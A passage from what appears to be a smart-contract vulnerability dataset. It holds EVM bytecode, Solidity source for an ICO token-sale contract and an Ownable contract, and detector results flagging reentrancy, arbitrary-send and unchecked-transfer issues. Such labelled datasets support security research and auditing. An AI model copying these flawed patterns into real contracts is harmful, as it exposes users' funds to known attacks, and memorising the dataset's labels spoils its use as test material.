1505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600f600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b92105a4274916e2bb90212c84bcf1e658a81de90139f617470acfd825d3259e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,067 |
0x06e929cd1e02539a1524aa0604a42294596fa901
|
pragma solidity 0.4.24;
// File: contracts/flavours/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/flavours/Whitelisted.sol
contract Whitelisted is Ownable {
/// @dev True if whitelist enabled
bool public whitelistEnabled = true;
/// @dev ICO whitelist
mapping(address => bool) public whitelist;
event ICOWhitelisted(address indexed addr);
event ICOBlacklisted(address indexed addr);
modifier onlyWhitelisted {
require(!whitelistEnabled || whitelist[msg.sender]);
_;
}
/**
* Add address to ICO whitelist
* @param address_ Investor address
*/
function whitelist(address address_) external onlyOwner {
whitelist[address_] = true;
emit ICOWhitelisted(address_);
}
/**
* Remove address from ICO whitelist
* @param address_ Investor address
*/
function blacklist(address address_) external onlyOwner {
delete whitelist[address_];
emit ICOBlacklisted(address_);
}
/**
* @dev Returns true if given address in ICO whitelist
*/
function whitelisted(address address_) public view returns (bool) {
if (whitelistEnabled) {
return whitelist[address_];
} else {
return true;
}
}
/**
* @dev Enable whitelisting
*/
function enableWhitelist() public onlyOwner {
whitelistEnabled = true;
}
/**
* @dev Disable whitelisting
*/
function disableWhitelist() public onlyOwner {
whitelistEnabled = false;
}
}
// File: contracts/interface/ERC20Token.sol
interface ERC20Token {
function balanceOf(address owner_) external returns (uint);
function allowance(address owner_, address spender_) external returns (uint);
function transferFrom(address from_, address to_, uint value_) external returns (bool);
}
// File: contracts/base/BaseICO.sol
/**
* @dev Base abstract smart contract for any ICO
*/
contract BaseICO is Ownable, Whitelisted {
/// @dev ICO state
enum State {
// ICO is not active and not started
Inactive,
// ICO is active, tokens can be distributed among investors.
// ICO parameters (end date, hard/low caps) cannot be changed.
Active,
// ICO is suspended, tokens cannot be distributed among investors.
// ICO can be resumed to `Active state`.
// ICO parameters (end date, hard/low caps) may changed.
Suspended,
// ICO is terminated by owner, ICO cannot be resumed.
Terminated,
// ICO goals are not reached,
// ICO terminated and cannot be resumed.
NotCompleted,
// ICO completed, ICO goals reached successfully,
// ICO terminated and cannot be resumed.
Completed
}
/// @dev Token which controlled by this ICO
ERC20Token public token;
/// @dev Current ICO state.
State public state;
/// @dev ICO start date seconds since epoch.
uint public startAt;
/// @dev ICO end date seconds since epoch.
uint public endAt;
/// @dev Minimal amount of investments in wei needed for successful ICO
uint public lowCapWei;
/// @dev Maximal amount of investments in wei for this ICO.
/// If reached ICO will be in `Completed` state.
uint public hardCapWei;
/// @dev Minimal amount of investments in wei per investor.
uint public lowCapTxWei;
/// @dev Maximal amount of investments in wei per investor.
uint public hardCapTxWei;
/// @dev Number of investments collected by this ICO
uint public collectedWei;
/// @dev Number of sold tokens by this ICO
uint public tokensSold;
/// @dev Team wallet used to collect funds
address public teamWallet;
// ICO state transition events
event ICOStarted(uint indexed endAt, uint lowCapWei, uint hardCapWei, uint lowCapTxWei, uint hardCapTxWei);
event ICOResumed(uint indexed endAt, uint lowCapWei, uint hardCapWei, uint lowCapTxWei, uint hardCapTxWei);
event ICOSuspended();
event ICOTerminated();
event ICONotCompleted();
event ICOCompleted(uint collectedWei);
event ICOInvestment(address indexed from, uint investedWei, uint tokens, uint8 bonusPct);
modifier isSuspended() {
require(state == State.Suspended);
_;
}
modifier isActive() {
require(state == State.Active);
_;
}
/**
* @dev Trigger start of ICO.
* @param endAt_ ICO end date, seconds since epoch.
*/
function start(uint endAt_) public onlyOwner {
require(endAt_ > block.timestamp && state == State.Inactive);
endAt = endAt_;
startAt = block.timestamp;
state = State.Active;
emit ICOStarted(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei);
}
/**
* @dev Suspend this ICO.
* ICO can be activated later by calling `resume()` function.
* In suspend state, ICO owner can change basic ICO parameter using `tune()` function,
* tokens cannot be distributed among investors.
*/
function suspend() public onlyOwner isActive {
state = State.Suspended;
emit ICOSuspended();
}
/**
* @dev Terminate the ICO.
* ICO goals are not reached, ICO terminated and cannot be resumed.
*/
function terminate() public onlyOwner {
require(state != State.Terminated &&
state != State.NotCompleted &&
state != State.Completed);
state = State.Terminated;
emit ICOTerminated();
}
/**
* @dev Change basic ICO parameters. Can be done only during `Suspended` state.
* Any provided parameter is used only if it is not zero.
* @param endAt_ ICO end date seconds since epoch. Used if it is not zero.
* @param lowCapWei_ ICO low capacity. Used if it is not zero.
* @param hardCapWei_ ICO hard capacity. Used if it is not zero.
* @param lowCapTxWei_ Min limit for ICO per transaction
* @param hardCapTxWei_ Hard limit for ICO per transaction
*/
function tune(uint endAt_,
uint lowCapWei_,
uint hardCapWei_,
uint lowCapTxWei_,
uint hardCapTxWei_) public onlyOwner isSuspended {
if (endAt_ > block.timestamp) {
endAt = endAt_;
}
if (lowCapWei_ > 0) {
lowCapWei = lowCapWei_;
}
if (hardCapWei_ > 0) {
hardCapWei = hardCapWei_;
}
if (lowCapTxWei_ > 0) {
lowCapTxWei = lowCapTxWei_;
}
if (hardCapTxWei_ > 0) {
hardCapTxWei = hardCapTxWei_;
}
require(lowCapWei <= hardCapWei && lowCapTxWei <= hardCapTxWei);
touch();
}
/**
* @dev Resume a previously suspended ICO.
*/
function resume() public onlyOwner isSuspended {
state = State.Active;
emit ICOResumed(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei);
touch();
}
/**
* @dev Recalculate ICO state based on current block time.
* Should be called periodically by ICO owner.
*/
function touch() public;
/**
* @dev Buy tokens
*/
function buyTokens() public payable;
/**
* @dev Send ether to the fund collection wallet
*/
function forwardFunds() internal {
teamWallet.transfer(msg.value);
}
}
// File: contracts/commons/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/IonChainICO.sol
/**
* @title IONC tokens ICO contract.
*/
contract IonChainICO is BaseICO {
using SafeMath for uint;
/// @dev 6 decimals for token
uint internal constant ONE_TOKEN = 1e6;
/// @dev 1e18 WEI == 1ETH == 125000 tokens
uint public constant ETH_TOKEN_EXCHANGE_RATIO = 125000;
/// @dev Token holder
address public tokenHolder;
// @dev personal cap for first 48 hours
uint public constant PERSONAL_CAP = 1.6 ether;
// @dev timestamp for end of personal cap
uint public personalCapEndAt;
// @dev purchases till personal cap limit end
mapping(address => uint) internal personalPurchases;
constructor(address icoToken_,
address teamWallet_,
address tokenHolder_,
uint lowCapWei_,
uint hardCapWei_,
uint lowCapTxWei_,
uint hardCapTxWei_) public {
require(icoToken_ != address(0) && teamWallet_ != address(0));
token = ERC20Token(icoToken_);
teamWallet = teamWallet_;
tokenHolder = tokenHolder_;
state = State.Inactive;
lowCapWei = lowCapWei_;
hardCapWei = hardCapWei_;
lowCapTxWei = lowCapTxWei_;
hardCapTxWei = hardCapTxWei_;
}
/**
* Accept direct payments
*/
function() external payable {
buyTokens();
}
function start(uint endAt_) onlyOwner public {
uint requireTokens = hardCapWei.mul(ETH_TOKEN_EXCHANGE_RATIO).mul(ONE_TOKEN).div(1 ether);
require(token.balanceOf(tokenHolder) >= requireTokens
&& token.allowance(tokenHolder, address(this)) >= requireTokens);
personalCapEndAt = block.timestamp + 48 hours;
super.start(endAt_);
}
/**
* @dev Recalculate ICO state based on current block time.
* Should be called periodically by ICO owner.
*/
function touch() public {
if (state != State.Active && state != State.Suspended) {
return;
}
if (collectedWei >= hardCapWei) {
state = State.Completed;
endAt = block.timestamp;
emit ICOCompleted(collectedWei);
} else if (block.timestamp >= endAt) {
if (collectedWei < lowCapWei) {
state = State.NotCompleted;
emit ICONotCompleted();
} else {
state = State.Completed;
emit ICOCompleted(collectedWei);
}
}
}
function buyTokens() public onlyWhitelisted payable {
require(state == State.Active &&
block.timestamp <= endAt &&
msg.value >= lowCapTxWei &&
msg.value <= hardCapTxWei &&
collectedWei + msg.value <= hardCapWei);
uint amountWei = msg.value;
// check personal cap
if (block.timestamp <= personalCapEndAt) {
personalPurchases[msg.sender] = personalPurchases[msg.sender].add(amountWei);
require(personalPurchases[msg.sender] <= PERSONAL_CAP);
}
uint itokens = amountWei.mul(ETH_TOKEN_EXCHANGE_RATIO).mul(ONE_TOKEN).div(1 ether);
collectedWei = collectedWei.add(amountWei);
emit ICOInvestment(msg.sender, amountWei, itokens, 0);
// Transfer tokens to investor
token.transferFrom(tokenHolder, msg.sender, itokens);
forwardFunds();
touch();
}
}
|
0x60806040526004361061017f5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663046f7da281146101895780630c08bf881461019e578063281ae558146101b3578063387ed59b146101da57806338d2b172146101ef578063420a83e714610204578063518ab2a81461023557806351fb012d1461024a57806359927044146102735780637cc3ae8c146102885780638da5cb5b1461029d57806395805dad146102b25780639b19251a146102ca578063a55526db146102eb578063c19d93fb14610300578063c68098d914610339578063c74465651461034e578063cdfb2b4e14610363578063d0febe4c1461017f578063d6b0f48414610378578063d936547e1461038d578063d9946a79146103ae578063e18b170e146103c3578063e6400bbe146103e7578063e923e707146103fc578063f2fde38b14610411578063f637b7da14610432578063f8b2e25914610447578063f9f92be41461045c578063fc0c546a1461047d575b610187610492565b005b34801561019557600080fd5b506101876106cf565b3480156101aa57600080fd5b5061018761078c565b3480156101bf57600080fd5b506101c8610872565b60408051918252519081900360200190f35b3480156101e657600080fd5b506101c8610879565b3480156101fb57600080fd5b506101c861087f565b34801561021057600080fd5b50610219610885565b60408051600160a060020a039092168252519081900360200190f35b34801561024157600080fd5b506101c8610894565b34801561025657600080fd5b5061025f61089a565b604080519115158252519081900360200190f35b34801561027f57600080fd5b506102196108aa565b34801561029457600080fd5b506101c86108b9565b3480156102a957600080fd5b506102196108bf565b3480156102be57600080fd5b506101876004356108ce565b3480156102d657600080fd5b50610187600160a060020a0360043516610a76565b3480156102f757600080fd5b50610187610adc565b34801561030c57600080fd5b50610315610c87565b6040518082600581111561032557fe5b60ff16815260200191505060405180910390f35b34801561034557600080fd5b506101c8610c97565b34801561035a57600080fd5b506101c8610c9d565b34801561036f57600080fd5b50610187610ca3565b34801561038457600080fd5b50610187610ce0565b34801561039957600080fd5b5061025f600160a060020a0360043516610d17565b3480156103ba57600080fd5b506101c8610d55565b3480156103cf57600080fd5b50610187600435602435604435606435608435610d61565b3480156103f357600080fd5b50610187610e17565b34801561040857600080fd5b506101c8610eb2565b34801561041d57600080fd5b50610187600160a060020a0360043516610eb8565b34801561043e57600080fd5b506101c8610f4c565b34801561045357600080fd5b506101c8610f52565b34801561046857600080fd5b50610187600160a060020a0360043516610f58565b34801561048957600080fd5b50610219610fb8565b60008054819060a060020a900460ff1615806104bd57503360009081526001602052604090205460ff165b15156104c857600080fd5b600160025460a060020a900460ff1660058111156104e257fe5b1480156104f157506004544211155b80156104ff57506007543410155b801561050d57506008543411155b801561051f5750600654346009540111155b151561052a57600080fd5b600d54349250421161057c57336000908152600e6020526040902054610556908363ffffffff610fc716565b336000908152600e602052604090208190556716345785d8a00000101561057c57600080fd5b6105ba670de0b6b3a76400006105ae620f42406105a2866201e84863ffffffff610fe116565b9063ffffffff610fe116565b9063ffffffff61100c16565b6009549091506105d0908363ffffffff610fc716565b6009556040805183815260208101839052600081830152905133917f6e36893a4e5bef2f5ed1c0125b68495c13ad948e138ef22973b4528514ef5668919081900360600190a2600254600c54604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015233602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b15801561068e57600080fd5b505af11580156106a2573d6000803e3d6000fd5b505050506040513d60208110156106b857600080fd5b506106c39050611023565b6106cb610adc565b5050565b600054600160a060020a031633146106e657600080fd5b6002805460a060020a900460ff1660058111156106ff57fe5b1461070957600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055600454600554600654600754600854604080519485526020850193909352838301919091526060830152517f6bf99bbfcd93ccaeb69bf505b279813e6ea9427a02f344aebeca8e4b3e10cc469181900360800190a261078a610adc565b565b600054600160a060020a031633146107a357600080fd5b600360025460a060020a900460ff1660058111156107bd57fe5b141580156107e35750600460025460a060020a900460ff1660058111156107e057fe5b14155b80156108075750600560025460a060020a900460ff16600581111561080457fe5b14155b151561081257600080fd5b6002805474ff00000000000000000000000000000000000000001916740300000000000000000000000000000000000000001790556040517f1e2466c660fb4c22a780bb95549acaa2a7b03cca14c1dc1c82a7e36c8d5b357490600090a1565b6201e84881565b60085481565b60075481565b600c54600160a060020a031681565b600a5481565b60005460a060020a900460ff1681565b600b54600160a060020a031681565b60045481565b600054600160a060020a031681565b60008054600160a060020a031633146108e657600080fd5b610911670de0b6b3a76400006105ae620f42406105a26201e848600654610fe190919063ffffffff16565b600254600c54604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201529051939450849391909216916370a082319160248083019260209291908290030181600087803b15801561098157600080fd5b505af1158015610995573d6000803e3d6000fd5b505050506040513d60208110156109ab57600080fd5b505110801590610a595750600254600c54604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015230602482015290518493929092169163dd62ed3e916044808201926020929091908290030181600087803b158015610a2a57600080fd5b505af1158015610a3e573d6000803e3d6000fd5b505050506040513d6020811015610a5457600080fd5b505110155b1515610a6457600080fd5b6202a3004201600d556106cb8261105f565b600054600160a060020a03163314610a8d57600080fd5b600160a060020a0381166000818152600160208190526040808320805460ff1916909217909155517fd49ab244ff4dcab14bc41675d0476050d6f212b0856bb84100e1d474d6ec996b9190a250565b600160025460a060020a900460ff166005811115610af657fe5b14158015610b1b57506002805460a060020a900460ff166005811115610b1857fe5b14155b15610b255761078a565b60065460095410610ba3576002805474ff00000000000000000000000000000000000000001916740500000000000000000000000000000000000000001790554260045560095460408051918252517f81a5e88b00c2660f790b27221f79127ebaae2e3ffd4422e63456682041f567189181900360200190a161078a565b600454421061078a576005546009541015610c1b576002805474ff00000000000000000000000000000000000000001916740400000000000000000000000000000000000000001790556040517f98a1803cd1adfb4ad3bb0c3428807a3115d46cd6bed95016864944bd67c121f990600090a161078a565b6002805474ff000000000000000000000000000000000000000019167405000000000000000000000000000000000000000017905560095460408051918252517f81a5e88b00c2660f790b27221f79127ebaae2e3ffd4422e63456682041f567189181900360200190a1565b60025460a060020a900460ff1681565b600d5481565b60035481565b600054600160a060020a03163314610cba57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a179055565b600054600160a060020a03163314610cf757600080fd5b6000805474ff000000000000000000000000000000000000000019169055565b6000805460a060020a900460ff1615610d4c5750600160a060020a03811660009081526001602052604090205460ff16610d50565b5060015b919050565b6716345785d8a0000081565b600054600160a060020a03163314610d7857600080fd5b6002805460a060020a900460ff166005811115610d9157fe5b14610d9b57600080fd5b42851115610da95760048590555b6000841115610db85760058490555b6000831115610dc75760068390555b6000821115610dd65760078290555b6000811115610de55760088190555b60065460055411158015610dfd575060085460075411155b1515610e0857600080fd5b610e10610adc565b5050505050565b600054600160a060020a03163314610e2e57600080fd5b600160025460a060020a900460ff166005811115610e4857fe5b14610e5257600080fd5b6002805474ff00000000000000000000000000000000000000001916740200000000000000000000000000000000000000001790556040517f05bf9ecee4a9d8d35d42deb54e912956a511544fa82392cb8c65e5010eff55d490600090a1565b60065481565b600054600160a060020a03163314610ecf57600080fd5b600160a060020a0381161515610ee457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60095481565b60055481565b600054600160a060020a03163314610f6f57600080fd5b600160a060020a038116600081815260016020526040808220805460ff19169055517ff0e86f93f7127c0fbbe66c81d3f9ffc791a274118b803ecaa8843f4f18c5978f9190a250565b600254600160a060020a031681565b600082820183811015610fd657fe5b8091505b5092915050565b600080831515610ff45760009150610fda565b5082820282848281151561100457fe5b0414610fd657fe5b600080828481151561101a57fe5b04949350505050565b600b54604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561105c573d6000803e3d6000fd5b50565b600054600160a060020a0316331461107657600080fd5b428111801561109c5750600060025460a060020a900460ff16600581111561109a57fe5b145b15156110a757600080fd5b600481905542600355600280546001919074ff0000000000000000000000000000000000000000191660a060020a830217905550600454600554600654600754600854604080519485526020850193909352838301919091526060830152517f87e7dc5f7915642959de5fa47a1cb6307b5107406d5506813504ed14a7a30a519181900360800190a2505600a165627a7a72305820827de739ef2688dfb470bc9393e2ec36252c3db84a020946d838942489d2557f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,068 |
0x3714beB09377a27b81adE094a92bE7f56445332e
|
pragma solidity ^0.4.21;
/**
* @title Ownable contract - base contract with an owner
*/
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address _from, address _to);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
